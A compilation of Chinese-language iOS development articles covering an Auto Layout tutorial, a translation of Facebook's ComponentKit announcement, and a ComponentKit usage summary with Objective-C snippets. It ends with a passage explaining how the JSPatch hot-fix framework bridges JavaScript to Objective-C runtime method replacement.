简介


Auto Layout 是苹果在 Xcode 5 (iOS 6) 中新引入的布局方式，旨在解决 3.5 寸和 4 寸屏幕的适配问题。屏幕适配工作在 iPhone 6 及 plus 发布以后变得更加重要，而且以往的“笨办法”的工作量大幅增加，所以很多人开始学习使用 Auto Layout 技术。


初体验


0. 开发环境


本系列文章的开发环境为：



	OS X 10.10.2

	Xcode Version 6.2 (6C131e)



1. 新建应用


新建一个 Single View Application，命名为 AutoLayout，如下：





点击选中 Main.storyboard，右侧内容如下：





1、2 两个按钮将会在未来的开发中产生巨大的作用，他们将拥有本系列文章的全局名称：按钮1，按钮2。请先记下他们的位置。


2. 直接上手，开始使用


这也是我对学习新的软件编程技术的基本学习方法：有一个具体客观驱动的目标，例如做一个真正要给客户用的软件，而不是“为了学习新技术提高自己”这类伪目标。


让我们直接上手：绘制一个距离左右边都有一定距离、固定高度、垂直居中的按钮，叫“Swift on iOS”。



	第一步，从右侧拖过来一个按钮，置于页面最中间。会有参考线出现，这一步很容易：



	选中这个 button，将按钮背景色和前景色进行如下设置：



	将按钮左侧边界往左拖动直到自动吸附，留下一定的距离。右侧进行同样操作：



	选中这个 button，修改文字为 Swift on iOS:



	选中这个 button，点击 按钮2 ，选择这一项：





这时候 button 周围会出现一些蓝色的线条，这些就是 Auto Layout 的约束项。


3. 大功告成，查看效果


3.5:



4:



4.7:



5.5:



4. 分析


选中这个 button，在右侧查看自动生成的约束项：



只有三项，这三项的意思分别是：和父视图纵向居中对齐、右侧和父视图对齐、左侧和父视图对齐。



  我们很容易就能理解这样可以定位一个按钮，但是总感觉少了点什么。实际上这三个自动生成的约束项并不能描述一个 button 的位置，因为少了一个关键的属性：button 的高度。以后我们会详细地讨论。




核心思想


本质分析


Auto Layout 的本质是依靠 某几项约束条件 来达到对某一个元素的定位。我们可以在某个地方只使用一个约束，以达到一个小目的，例如防止内容遮盖、防止边界溢出等。但我的最佳实践证明，如果把页面上每一个元素的位置都用 Auto Layout 进行 “严格约束” 的话，那么 Auto Layout 可以帮我们省去非常多的计算 frame 的代码。


“严格约束” 是什么？


简单来说，严格约束就是对某一个元素的绝对定位，让它在任一屏幕尺寸下都有着唯一的位置。这里的绝对定位不是定死的位置，而是对一个元素 完善的约束条件。


让我们看图说话：






	我们要在一个直角坐标系里描述一个矩形。

	那么只需要指定这个矩形的位置和大小。

	那么只要给出上图中的四个值即可：到左边界的距离，到上边界的距离，宽度，高度。

	这四个约束是最简单的情况。在对一个元素进行严格约束时，请直接在脑中构建这个元素，并且加上几条约束条件，如果他无法缩放和动弹，那么严格约束就是成功的！

	必须牢记，使用 Auto Layout 时最重要的是：对页面上每一个元素都进行严格约束，不严格的约束是万恶之源。




  下一步：Auto Layout 使用心得（二）—— 实现三等分






原文发表在我的个人网站：Auto Layout 使用心得（一）—— 初体验





 ComponentKit：一个功能性的和声明性的 Facebook iOS UI 工具

作者：大舒

来源： ComponentKit：一个功能性的和声明性的 Facebook iOS UI 工具



                    

  Facebook 昨天发布了他们的 iOS UI 开发工具 - ComponentKit，这是一个受 React 启发而产生的 iOS 视图框架，最开始用于 Facebook 的 News Feed，现在已经开始作为整个 Facebook 的 iOS 开发工具。今天我把他们官方的介绍博客翻译一下，大家互相交流。以下是博客原文全译。






在 iOS 上面开发界面，需要创建视图、配置界面、视图分层等等很多步骤，也就不可避免的需要书写 N 多的代码。这还仅仅是界面设计，除此之外，完成 controllers 的回调、控制内部事务在界面上的显示效果、界面的操控和内部事务的联系等等多方面的事情都需要手动解决。即便是界面很简单的 App，如果存在这种复杂的双向数据流的关系，那么代码也会变得很复杂很容易出错。Qt 的信号、槽和 iOS 的 Target-Action 机制其实也是很容易实现这种双向数据流的关系，但是没有办法解决界面和事务之间的联系，也有很多其他的问题：性能、测试等。


这些问题曾经困扰了我们多年。News Feed 是有着复杂的列表样式外观的 iOS 软件，由许多的 Row Type 组成，每一个 Row 都有各种各样不同的很烦的界面样式和交互方式，这个就很坑了。每次维护这个东西都像是在清理厕所，尤其是它的功能还在不断增加，它的代码在不断变多，版本迭代速度快到你都没办法直到每天都到底增添了什么新代码，上司还要拿着报告说“你这个软件太慢了，影响用户体验，给你三个小时把这个 App 的速度提高 80%”。


为了解决这一挑战性的问题，我们从自己的 ReactJS 得到启发，把很多具体的东西抽象出来，做出一个功能性的、响应式编程模型的 iOS 原生 UI 框架 ComponentKit，目前 News Feed 在应用这个框架。


现在 ComponentKit 将基于 BSD 协议对外开源。


ComponentKit 简介


ComponentKit 使用功能性和声明性（declarative）的方法来进行创建界面，和以往不同的是，ComponentKit 使用单向数据流的形式从 不可变的模型 映射到不可变的组件来确定视图的显示方式。ComponentKit 的 declarative 看上去和 declarative UI(QML) 差不多，其实差得远。QML 更偏向于 UI 设计的描述性，而 ComponentKit 则是做好基本 UI 和事件之间的联系，让事件设计和 UI 设计可以分开单独完成。


内在决定外在，组件的功能和内部的层次决定了用户界面该如何规划，界面的规划决定了 UI Kit 的元素层次结构的设计。





传统做法的结果是大部分时间都被浪费在 UI 该如何实现，ComponentKit 却可以让你把时间都用在在 UI 该怎么设计上面。


例如，传统的 iOS 开发中，为了开发一个带有 header、text 和 footer 的视图，需要以下步骤：



	分别创建 header 视图、text 视、footer 视图的实例

	将三个视图添加为 container 的子视图

	添加约束条件，让每个视图和 container 的宽度相同

	添加更多的约束条件，确保每个视图的摆放位置



但是 ComponentKit 不一样，ComponentKit 是一种描述性的开发包：你只需要提供你希望得到什么便能得到什么，而不和传统的 iOS 开发一样，再去一个一个地创建视图、修改视图样式、添加视图、添加约束条件。如图所示，想要得到这个布局，只需要使用描述性的语言描述“我想要一个 header 组件，一个 text 组件，一个 footer 组件，他们的宽度相同，从上到下排列在一起”。单单从这点来看，和 QML 相比，ComponentKit 更类似于 Bootstrap：提供已经完成的组件，你只需要决定组件如何摆放，便可轻松地开发出 UI 界面。





ComponentKit 已经完全把如何渲染 UI 的事情抽象出来，程序员完全可以不去考虑具体是如何实现渲染的，也不用去考虑界面渲染该如何优化。ComponentKit 使用后台线程进行界面布局，也实现了智能组件重用，你完全可以不去考虑界面导致的内存泄露问题。ComponentKit 不仅仅可以极大地提高开发效率，界面响应速度和软件的运行效率也会有极大地提升。


如果你想深入了解 ComponentKit，你可以 参考 Adam Ernst 的这篇文章，也可以去看一下 Ari Grant 的视频的后半部分。


将 News Feed 移植到 ComponentKit


ComponentKit 极大地提升了 News Feed 的 UI 响应速度和稳定性，也让整个软件的内部编码更容易理解。ComponentKit 达到了如下的目标：



	减少了 70% 的界面渲染代码，麻麻再也不用担心我每次去维护之前都要看那本又臭又长的手册然后花一上午的时间去理解那个错综复杂的布局了。

	显著地提高了滑屏的性能。ComponentKit 消除了许多的 container 视图，尽力将所有的视图结构化简。更简洁的视图结构意味着界面的渲染性能和执行效率更高。

	提高测试覆盖率。ComponentKit 对于 UI 模块化的设计保证了每一部分都可以被分离开来单独进行测试。再加上 snapshot tests，我们现在几乎已经可以对 News Feed 的所有部分都进行测试了。



引入了 ComponentKit 之后，我们能够维护更少的代码，有更少的 bug 需要修复，有更大的测试覆盖率：我们现在可以有更多的时间做羞羞的事情了


ComponentKit 已经在生产环境的 News Feed 上用了六个月，我们觉得可以一直用下去。现在将 ComponentKit 开源，让整个 iOS 开发者社区的人都有 Facebook 的生产效率，也都能和 Facebook 一样做出高性能的 App。很希望你也能在你的开发环境中使用 ComponentKit，然后给我们反馈。


我们重新定义了如何在 iOS 上开发界面，希望你也能用 ComponentKit 开发出更优雅的 App。


-（译文完）-


快速入门


ComponentKit 已经在 CocoaPods 中可用了，只需要在 Podfile 添加如下代码即可：


pod 'ComponentKit', '~> 0.9'



ComponentKit Demo：


pod try ComponentKit



更多资料：



	ComponentKit GitHub

	开发者文档






  原文：Introducing ComponentKit: Functional and declarative UI on iOS




 iOS：ComponentKit 使用总结

作者：Cruise_Chan

来源： iOS：ComponentKit 使用总结



                    
前言的前言


好。。开始做下ComponentKit使用总结。。源码没有看，只看了一些概念以及API。本篇文章主要总结下使用心得以及ComponentKit的理念。一切的分析都基于使用层面上的。。大神请打脸或略过~


本文面向有一定开发经验的iOSer，以及喜欢折腾的iOSer...


前言


传统MVC模式，数据(s)-控制器(s)-视图(s)之间的双向流所产生的大量状态将导致：

1）代码激增

2）BUG出现得概率增大

3）视图渲染效率低

4）APP流畅度不高（特指ScrollView不能达到60FPS）

所以我们需要一个更为简单粗暴的框架来写我们的APP。。（真正的原因，绝不会告诉你其实只是被要求...）


理念


既然名字叫做ComponentKit，自然先说说Component（元素）。对于开发者来说，所有的图层（可见/不可见）其实都是由一个元素排版而来。不同的元素根据不同的排版展示出不同的视图。我做个类比：正如中国四大发明之一-活字印刷一样通过改变排版可以展示不同的文字内容。

这里引用文档的一句话：



  A simple analogy is to think of a component as a stencil: a fixed description that can be used to paint a view but that is not a view itself.




意思也大概如此Component不并不直接当做视图（印刷出来的东西）展示，而是告诉你视图长什么样（印刷模具的存在）~


特性


三大特性：（不明觉厉的地方）



	描述性：通过stack为主(这里我翻译成“（纵向或者横向）堆砌”)排版模具来告诉我们某一个元素A的子元素在A中如何排列。

	函数式：保证数据流是单向的，也就是数据决定Component。比如方程“1 + X”，如果X=2或者X=3相对应结果“1 + 2”与“1 + 3”是固定的一样。数据如果确定了，那么结果就是不变的。当数据发生改变的时候，对应的component会进行重新渲染。（这里FB宣称该框架会尽量少的重新渲染，没有读过代码，没有发言权）

	可组合：这里可以想下积木，有些部分写成component，其他地方可以重用。



个人使用的心得？：数据单向流，好处无非在于什么样的数据决定什么样的视图，我们可以无视很多各种交互产生的状态，而仅仅只需要把精力放在数据层上，写好排版方程（functional）似乎好像可以做到一劳永逸。但是正因为如此，ComponentKit在写动画的时候注定较麻烦，因为数据变化是连续的~~也就是model是不断变化的。使用上可以做一些取舍。用ComponentKit的好处就在于写代码可以处于无脑状态，抓着绳子（数据）的一端就好，不容易打死结~


至于动画方面的解释，FB如是说：



  Dynamic gesture-driven UIs are currently hard to implement in ComponentKit; consider using AsyncDisplayKit.




API （官方文档内容）


CKComponent


上面说了Component是不可变的，且其可以在任何线程进行创建，避免了出现在主线程的竞争。


这里主要是两个API：


/** Returns a new component. */
+ (instancetype)newWithView:(const CKComponentViewConfiguration &)view
                       size:(const CKComponentSize &)size;

/** Returns a layout for the component and its children. */
- (CKComponentLayout)layoutThatFits:(CKSizeRange)constrainedSize
                         parentSize:(CGSize)parentSize;



一个用来创建Component，一个用来进行排版。


Composite Components


这里只有一句话重点：任何情况自定义component下不要继承CKComponent，而是继承Composite Components。

大概原因就是不要污染清纯的父类Component，不要因为一个简单得需求而直接进行继承并重写父类方法（很多弊端，FB blabla），而应该采用修饰的手段来达成（装饰设计模式？）。


这里给出坏代码以及推荐代码示例：


// 不推荐的坏代码：
@implementation HighlightedCardComponent : CardComponent
- (UIColor *)backgroundColor
{
  // This breaks silently if the superclass method is renamed.
  return [UIColor yellowColor];
}
@end
// 推荐代码：
@implementation HighlightedCardComponent : CKCompositeComponent
+ (instancetype)newWithArticle:(CKArticle *)article
{
  return [super newWithComponent:
          [CardComponent
           newWithArticle:article
           backgroundColor:[UIColor yellowColor]]];
}
@end



Views


创建一个元素的类方法


+ (instancetype)newWithView:(const CKComponentViewConfiguration &)view
                       size:(const CKComponentSize &)size;



这里说下第一个参数告诉CK用什么图层类，第二个参数告诉CK如何配置这个图层类。

举个栗子


[CKComponent 
 newWithView:{
   [UIImageView class],
   {
     {@selector(setImage:), image},
     {@selector(setContentMode:), @(UIViewContentModeCenter)} // Wrapping into an NSNumber
   }
 }
 size:{image.size.width, image.size.height}];



同样可以设置空值，举个栗子：


[CKComponent newWithView:{} size:{}]
// 更为直接
[CKComponent new]



Layout && Layout Components


与UIView中的layoutSubViews对应的是CK中的
layoutThatFits:。


这里主要介绍几个常用的Layout Components



	
CKStackLayoutComponent 横向或者纵向堆砌子元素

	
CKInsetComponent内陷与大苹果内陷相似

	
CKBackgroundLayoutComponent 扩展底部的元素作为背景

	
CKOverlayLayoutComponent 扩展覆盖层的元素作为遮罩

	
CKCenterLayoutComponent 在空间内居中排列

	
CKRatioLayoutComponent 有比例关系的元素

	
CKStaticLayoutComponent 可指定子元素偏移量



响应者链 && Tap事件 && 手势支持


响应者链


FB中的响应者链与苹果类似，但是两者是分离的。

FB中的链大概长相：

儿子component-> 儿子componentController(如果有) -> 父亲component-> 父亲componentController(如果有) -> (...递归 blabla) -> 【通过CKComponentActionSend桥接】-> (过程：找到被附着的那个View，通过这个View找到最底层的叶子节点ViewA -> (往上遍历ViewA的父亲ViewB -> (...递归 blabla)。


这里一个要点是component不是UIResponder子类，自然无法成为第一响应者~


点击事件


解决发生在UIControl视图上的点击事件很简单，只要将某个SEL绑定到CKComponentActionAttribute即可，在接收外界UIControlEvent时候触发：


@implementation SomeComponent

+ (instancetype)new
{
  return [self newWithView:{
    [UIButton class],
    {CKComponentActionAttribute(@selector(didTapButton))}
  }];
}

- (void)didTapButton
{
  // Aha! The button has been tapped.
}

@end



手势


以上对UIControl适用，一般View则要使用绑定一些更牛逼，更直接的属性，比如tap手势绑定SEL到CKComponentTapGestureAttribute，代码如下：


@implementation SomeComponent

+ (instancetype)new
{
  return [self newWithView:{
    [UIView class],
    {CKComponentTapGestureAttribute(@selector(didTapView))}
  }];
}

- (void)didTapView
{
  // The view has been tapped.
}

@end



Component Actions


一句话？元素Action机制 就是通过无脑绑定SEL，顺着响应链找到可以响应该SEL的元素。


State （TO DO）


对iOS中容器类视图的支持（UITableView， UICollectionView）


概述


FB也很淫荡的做了广告：



  ComponentKit really shines when used with a UICollectionView.




吐槽下，之所以特地强调，那是必须啊，任何一款APP都特么离不开UITableView或者UICollectionView。只要会UITableView或者UICollectionView那就具备了独立开发的能力，精通这两者的就算具备了犀利哥的潜质。


FB鼓吹的优点：



	自动重用

	流畅的滑动体验  -> CK自身保证非UI相关的计算全在次线程

	数据源 这个模块由CKComponentDataSource负责。



PS:CKComponentDataSource模块的主要功能：

1）提供输入数据源的操作指令以及数据

2）变化后的数据源布局后台生成

3）提供UITableView或者UICollectionView可用的输出数据源


CKComponentCollectionViewDataSource


CKComponentCollectionViewDataSource是CKComponentDataSource的简单封装。

存在价值：



	负责让UICollectionView适时进行添加/插入/更新“行”，“段”。

	负责提供给UICollectionView“行”和“段“排版信息。

	
UICollectionView可见行讲同步调用cellForItemAtIndexPath:


	保证返回配置好的cell



这里UICollectionView与CKCollectionViewDataSource数据表现来说仍是单向的。


基础


Component Provider


CKCollectionViewDataSource负责将每一个数据丢给元素(component)进行自我Config。在任何时候需要有某一个元素(component)需要数据进行配置将会把CKCollectionViewDataSource提供的数据源通过CKComponentProvider提供的类方法传入：


 @interface MyController <CKComponentProvider>
    ...
    @end

    @implementation MyController
    ...
    + (CKComponent *)componentForModel:(MyModel*)model context:(MyContext*)context {
        return [MyComponent newWithModel:model context:context];
    }
    ...




	用类方法不用block 为了保证数据是不可变的

	上下文 这里可以是任意不可以变对象，其被CKCollectionViewDataSource带入。它一般是：1）设备类型 2）外部依赖 比如图片下载器



创建CKCollectionViewDataSource：


- (void)viewDidLoad {
    ...
    self.dataSource = _dataSource = [[CKCollectionViewDataSource alloc] initWithCollectionView:self.collectionView supplementaryViewDataSource:nil componentProvider:[self class] context:context cellConfigurationFunction:nil];



添加/修改


需要做的就是将Model与indexPath进行绑定：


- (void)viewDidAppear {
        ...
        CKArrayControllerSections sections;
        CKArrayControllerInputItems items;
        // Don't forget the insertion of section 0
        sections.insert(0);
        items.insert({0,0}, firstModel);
        // You can also use NSIndexPath
        NSIndexPath indexPath = [NSIndexPath indexPathForItem:1 inSection:0];
        items.insert(indexPath, secondModel);
        [self.dataSource enqueueChangeset:{sections, items} constrainedSize:{{0,0}, {50, 50}}];
    }



比如indexPath(0, 0)，model是一个字符串“我是0段0行”，告诉CKCollectionViewDataSource将他们绑在一起。


排版


因为无脑，只贴代码：


 - (CGSize)collectionView:(UICollectionView *)collectionView
                 layout:(UICollectionViewLayout *)collectionViewLayout
                 sizeForItemAtIndexPath:(NSIndexPath *)indexPath {
        return [self.dataSource sizeForItemAtIndexPath:indexPath];
    }



事件处理


因为无脑，只贴代码：


 - (void)dataSource:(CKCollectionViewDataSource *)dataSource didSelectItemAtIndexPath:(NSIndexPath *)indexPath
    {
        MyModel *model = (MyModel *)[self.dataSource modelForItemAtIndexPath:indexPath];
        NSURL *navURL = model.url;
        if (navURL) {
            [[UIApplication sharedApplication] openURL:navURL];
        }
    }



（数据源）改变集API


这里主要是指与数据源交互部分的API，主要分为三类：



	
动作（针对行的插入/删除/更新，针对段的插入/删除）

	
位置指定（行/段位置指定）

	
分配数据（丢给Component用的）



贴代码：


CKArrayControllerInputItems items;
// Insert an item at index 0 in section 0 and compute the component for the model @"Hello"
items.insert({0, 0}, @"Hello");
// Update the item at index 1 in section 0 and update it with the component computed for the model @"World"
items.update({0, 1}, @"World");
// Delete the item at index 2 in section 0, no need for a model here :)
Items.delete({0, 2});

Sections sections;
sections.insert(0);
sections.insert(2);
sections.insert(3);

[datasource enqueueChangeset:{sections, items}];



这里需要注意的是：


1)



  The order in which commands are added to the changeset doesn't define the order in which those changes will eventually be applied to the UICollectionView (same for UITableViews).




加入changeset的顺序呢并不代表最终UICollectionView最终应用上的改变顺序。


2)

记得初始化的时候执行sections.insert(0);


3)
因为所有的改变集都是异步计算的，所以要小心数据与UI不同步的问题出现

3.1）

始终以datasource为唯一标准，不要试图从曾经的数据源like下例中的_listOfModels获取model：


@implementation MyAwesomeController {
    CKComponentCollectionViewDataSource *_datasource;
    NSMutableArray *_listOfModels;
}



例子中的_datasource才是正房，_listOfModels是小三。

坚持使用


[datasource objectAtindexPath:indexPath];



3.2)

不要执行像：Items.insert({0, _datasource.collectionView numberOfItemsInSection});的语句，因为你所希望插入的位置未必是你想要插入的位置。


种子
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JSPatch 是一个 iOS 动态更新框架，只需在项目中引入极小的引擎，就可以使用就可以使用 JavaScript 调用任何 Objective-C 原生接口，获得脚本语言的优势：为项目动态添加模块，或替换项目原生代码动态修复 bug。

之前在博客上写过两篇 JSPatch 原理解析文章(1 2)，但随着 JSPatch 的改进，有些内容已经跟最新代码对不上，这里重新整理成一篇完整的文章，对原来的两篇做整合和修改，详细阐述 JSPatch 的实现原理和一些细节，以帮助使用者更好地了解和使用 JSPatch。

基础原理

JSPatch 能做到通过 JS 调用和改写 OC 方法最根本的原因是 Objective-C 是动态语言，OC 上所有方法的调用/类的生成都通过 Objective-C Runtime 在运行时进行，我们可以通过类名/方法名反射得到相应的类和方法：

Class class = NSClassFromString("UIViewController");
id viewController = [[class alloc] init];
SEL selector = NSSelectorFromString("viewDidLoad");
[viewController performSelector:selector];

也可以替换某个类的方法为新的实现：

static void newViewDidLoad(id slf, SEL sel) {}
class_replaceMethod(class, selector, newViewDidLoad, @"");

还可以新注册一个类，为类添加方法：

Class cls = objc_allocateClassPair(superCls, "JPObject", 0);
objc_registerClassPair(cls);
class_addMethod(cls, selector, implement, typedesc);

对于 Objective-C 对象模型和动态消息发送的原理已有很多文章阐述得很详细，这里就不详细阐述了。理论上你可以在运行时通过类名/方法名调用到任何 OC 方法，替换任何类的实现以及新增任意类。所以 JSPatch 的基本原理就是：JS 传递字符串给 OC，OC 通过 Runtime 接口调用和替换 OC 方法。这是最基础的原理，实际实现过程还有很多怪要打，接下来看看具体是怎样实现的。

方法调用

require('UIView')
var view = UIView.alloc().init()
view.setBackgroundColor(require('UIColor').grayColor())
view.setAlpha(0.5)

引入 JSPatch 后，可以通过以上 JS 代码创建了一个 UIView 实例，并设置背景颜色和透明度，涵盖了 require 引入类，JS 调用接口，消息传递，对象持有和转换，参数转换这五个方面，接下来逐一看看具体实现。

1.require

调用 require('UIView') 后，就可以直接使用 UIView 这个变量去调用相应的类方法了，require 做的事很简单，就是在JS全局作用域上创建一个同名变量，变量指向一个对象，对象属性__isCls表明这是一个Class，__clsName保存类名，在调用方法时会用到这两个属性。

var _require = function(clsName) {
  if (!global[clsName]) {
    global[clsName] = {
      __isCls: 1,
      __clsName: clsName
    }
  }
  return global[clsName]
}

所以调用 require('UIView') 后，就在全局作用域生成了 UIView 这个变量，指向一个这样一个对象：

{
  __isCls: 1,
  __clsName: "UIView"
}

2.JS接口

接下来看看 UIView.alloc() 是怎样调用的。

i.封装 JS 对象

对于这个调用的实现，一开始我的想法是，根据JS特性，若要让 UIView.alloc() 这句调用不出错，唯一的方法就是给 UIView 这个对象添加 alloc 方法，不然是不可能调用成功的，JS 对于调用没定义的属性/变量，只会马上抛出异常，而不像 OC/Lua/ruby 那样会有转发机制。所以做了一个复杂的事，就是在require生成类对象时，把类名传入OC，OC 通过runtime方法找出这个类所有的方法返回给 JS，JS 类对象为每个方法名都生成一个函数，函数内容就是拿着方法名去 OC 调用相应方法。生成的 UIView 对象大致是这样的：

{
    __isCls: 1,
    __clsName: "UIView",
    alloc: function() {…},
    beginAnimations_context: function() {…},
    setAnimationsEnabled: function(){…},
    ...
}

实际上不仅要遍历当前类的所有方法，还要循环找父类的方法直到顶层，整个继承链上的所有方法都要加到JS对象上，一个类就有几百个方法，这样把方法全部加到 JS 对象上，碰到了挺严重的问题，引入几个类就内存暴涨，无法使用。后来为了优化内存问题还在 JS 搞了继承关系，不把继承链上所有方法都添加到一个JS对象，避免像基类 NSObject 的几百个方法反复添加在每个 JS 对象上，每个方法只存在一份，JS 对象复制了 OC 对象的继承关系，找方法时沿着继承链往上找，结果内存消耗是小了一些，但还是大到难以接受。

ii.__c()元函数

当时继续苦苦寻找解决方案，若按 JS 语法，这是唯一的方法，但若不按 JS 语法呢？突然脑洞开了下，CoffieScript/JSX 都可以用 JS 实现一个解释器实现自己的语法，我也可以通过类似的方式做到，再进一步想到其实我想要的效果很简单，就是调用一个不存在方法时，能转发到一个指定函数去执行，就能解决一切问题了，这其实可以用简单的字符串替换，把 JS 脚本里的方法调用都替换掉。最后的解决方案是，在 OC 执行 JS 脚本前，通过正则把所有方法调用都改成调用 __c() 函数，再执行这个 JS 脚本，做到了类似 OC/Lua/Ruby 等的消息转发机制：

UIView.alloc().init()
->
UIView.__c('alloc')().__c('init')()

给 JS 对象基类 Object 的 prototype 加上 __c 成员，这样所有对象都可以调用到 __c，根据当前对象类型判断进行不同操作：

Object.prototype.__c = function(methodName) {
  if (!this.__obj && !this.__clsName) return this[methodName].bind(this);
  var self = this
  return function(){
    var args = Array.prototype.slice.call(arguments)
    return _methodFunc(self.__obj, self.__clsName, methodName, args, self.__isSuper)
  }
}

_methodFunc() 就是把相关信息传给OC，OC用 Runtime 接口调用相应方法，返回结果值，这个调用就结束了。

这样做不用去 OC 遍历对象方法，不用在 JS 对象保存这些方法，内存消耗直降 99%，这一步是做这个项目最爽的时候，用一个非常简单的方法解决了严重的问题，替换之前又复杂效果又差的实现。

3.消息传递

解决了 JS 接口问题，接下来看看 JS 和 OC 是怎样互传消息的。这里用到了 JavaScriptCore 的接口，OC 端在启动 JSPatch 引擎时会创建一个 JSContext 实例，JSContext 是 JS 代码的执行环境，可以给 JSContext 添加方法，JS 就可以直接调用这个方法：

JSContext *context = [[JSContext alloc] init];
context[@"hello"] = ^(NSString *msg) {
    NSLog(@"hello %@", msg);
};
[_context evaluateScript:@"hello('word')"];     //output hello word

JS 通过调用 JSContext 定义的方法把数据传给 OC，OC 通过返回值传会给 JS。调用这种方法，它的参数/返回值 JavaScriptCore 都会自动转换，OC 里的 NSArray, NSDictionary, NSString, NSNumber, NSBlock 会分别转为JS端的数组/对象/字符串/数字/函数类型。上述 _methodFunc 方法就是这样把要调用的类名和方法名传递给 OC 的。

4.对象持有/转换

结合上述几点，可以知道 UIView.alloc() 这个类方法调用语句是怎样执行的：

a.require('UIView') 这句话在 JS 全局作用域生成了 UIView 这个对象，它有个属性叫 __isCls，表示这代表一个 OC 类。
  b.调用 UIView 这个对象的 alloc() 方法，会去到 __c() 函数，在这个函数里判断到调用者 __isCls 属性，知道它是代表 OC 类，把方法名和类名传递给 OC 完成调用。

调用类方法过程是这样，那实例方法呢？UIView.alloc() 会返回一个 UIView 实例对象给 JS，这个 OC 实例对象在 JS 是怎样表示的？怎样可以在 JS 拿到这个实例对象后可以直接调用它的实例方法 UIView.alloc().init()？

对于一个自定义id对象，JavaScriptCore 会把这个自定义对象的指针传给 JS，这个对象在 JS 无法使用，但在回传给 OC 时 OC 可以找到这个对象。对于这个对象生命周期的管理，按我的理解如果JS有变量引用时，这个 OC 对象引用计数就加1 ，JS 变量的引用释放了就减1，如果 OC 上没别的持有者，这个OC对象的生命周期就跟着 JS 走了，会在 JS 进行垃圾回收时释放。

传回给 JS 的变量是这个 OC 对象的指针，这个指针也可以重新传回 OC，要在 JS 调用这个对象的某个实例方法，根据第2点 JS 接口的描述，只需在 __c() 函数里把这个对象指针以及它要调用的方法名传回给 OC 就行了，现在问题只剩下：怎样在 __c() 函数里判断调用者是一个 OC 对象指针？

目前没找到方法判断一个 JS 对象是否表示 OC 指针，这里的解决方法是在 OC 把对象返回给 JS 之前，先把它包装成一个 NSDictionary：

static NSDictionary *_wrapObj(id obj) {
    return @{@"__obj": obj};
}

让 OC 对象作为这个 NSDictionary 的一个值，这样在 JS 里这个对象就变成：

{__obj: [OC Object 对象指针]}

这样就可以通过判断对象是否有 __obj 属性得知这个对象是否表示 OC 对象指针，在 __c 函数里若判断到调用者有 __obj 属性，取出这个属性，跟调用的实例方法一起传回给 OC，就完成了实例方法的调用。

5.类型转换

JS 把要调用的类名/方法名/对象传给 OC 后，OC 调用类/对象相应的方法是通过 NSInvocation 实现，要能顺利调用到方法并取得返回值，要做两件事：

a.取得要调用的 OC 方法各参数类型，把 JS 传来的对象转为要求的类型进行调用。
b.根据返回值类型取出返回值，包装为对象传回给 JS。

例如开头例子的 view.setAlpha(0.5)， JS传递给OC的是一个 NSNumber，OC 需要通过要调用 OC 方法的 NSMethodSignature 得知这里参数要的是一个 float 类型值，于是把 NSNumber 转为 float 值再作为参数进行 OC 方法调用。这里主要处理了 int/float/bool 等数值类型，并对 CGRect/CGRange 等类型进行了特殊转换处理，剩下的就是实现细节了。

方法替换

JSPatch 可以用 defineClass 接口任意替换一个类的方法，方法替换的实现过程也是颇为曲折，一开始是用 va_list 的方式获取参数，结果发现 arm64 下不可用，只能转而用另一种 hack 方式绕道实现。另外在给类新增方法、实现property、支持self/super关键字上也费了些功夫，下面逐个说明。

1.基础原理

OC上，每个类都是这样一个结构体：

struct objc_class {
  struct objc_class * isa;
  const char *name;
  ….
  struct objc_method_list **methodLists; /*方法链表*/
};

其中 methodList 方法链表里存储的是 Method 类型：

typedef struct objc_method *Method;
typedef struct objc_ method {
  SEL method_name;
  char *method_types;
  IMP method_imp;
};

Method 保存了一个方法的全部信息，包括 SEL 方法名，type 各参数和返回值类型，IMP 该方法具体实现的函数指针。

通过 Selector 调用方法时，会从 methodList 链表里找到对应Method进行调用，这个 methodList 上的的元素是可以动态替换的，可以把某个 Selector 对应的函数指针IMP替换成新的，也可以拿到已有的某个 Selector 对应的函数指针IMP，让另一个 Selector 跟它对应，Runtime 提供了一些接口做这些事，以替换 UIViewController 的 -viewDidLoad: 方法为例：

static void viewDidLoadIMP (id slf, SEL sel) {
   JSValue *jsFunction = …;
   [jsFunction callWithArguments:nil];
}

Class cls = NSClassFromString(@"UIViewController");
SEL selector = @selector(viewDidLoad);
Method method = class_getInstanceMethod(cls, selector);

//获得viewDidLoad方法的函数指针
IMP imp = method_getImplementation(method)

//获得viewDidLoad方法的参数类型
char *typeDescription = (char *)method_getTypeEncoding(method);

//新增一个ORIGViewDidLoad方法，指向原来的viewDidLoad实现
class_addMethod(cls, @selector(ORIGViewDidLoad), imp, typeDescription);

//把viewDidLoad IMP指向自定义新的实现
class_replaceMethod(cls, selector, viewDidLoadIMP, typeDescription);

这样就把 UIViewController 的 -viewDidLoad 方法给替换成我们自定义的方法，APP里调用 UIViewController 的 viewDidLoad 方法都会去到上述 viewDidLoadIMP 函数里，在这个新的IMP函数里调用 JS 传进来的方法，就实现了替换 viewDidLoad 方法为JS代码里的实现，同时为 UIViewController 新增了个方法 -ORIGViewDidLoad 指向原来 viewDidLoad 的 IMP，JS 可以通过这个方法调用到原来的实现。

方法替换就这样很简单的实现了，但这么简单的前提是，这个方法没有参数。如果这个方法有参数，怎样把参数值传给我们新的 IMP 函数呢？例如 UIViewController 的 -viewDidAppear: 方法，调用者会传一个 Bool 值，我们需要在自己实现的IMP（上述的 viewDidLoadIMP）上拿到这个值，怎样能拿到？如果只是针对一个方法写 IMP，是可以直接拿到这个参数值的：

static void viewDidAppear (id slf, SEL sel, BOOL animated) {
   [function callWithArguments:@(animated)];
}

但我们要的是实现一个通用的IMP，任意方法任意参数都可以通过这个IMP中转，拿到方法的所有参数回调JS的实现。

2.va_list实现(32位)

最初我是用可变参数 va_list 实现：

static void commonIMP(id slf, ...)
  va_list args;
  va_start(args, slf);
  NSMutableArray *list = [[NSMutableArray alloc] init];
  NSMethodSignature *methodSignature = [cls instanceMethodSignatureForSelector:selector];
  NSUInteger numberOfArguments = methodSignature.numberOfArguments;
  id obj;
  for (NSUInteger i = 2; i < numberOfArguments; i++) {
      const char *argumentType = [methodSignature getArgumentTypeAtIndex:i];
      switch(argumentType[0]) {
          case 'i':
              obj = @(va_arg(args, int));
              break;
          case 'B':
              obj = @(va_arg(args, BOOL));
              break;
          case 'f':
          case 'd':
              obj = @(va_arg(args, double));
              break;
          …… //其他数值类型
          default: {
              obj = va_arg(args, id);
              break;
          }
      }
      [list addObject:obj];
  }
  va_end(args);
  [function callWithArguments:list];
}

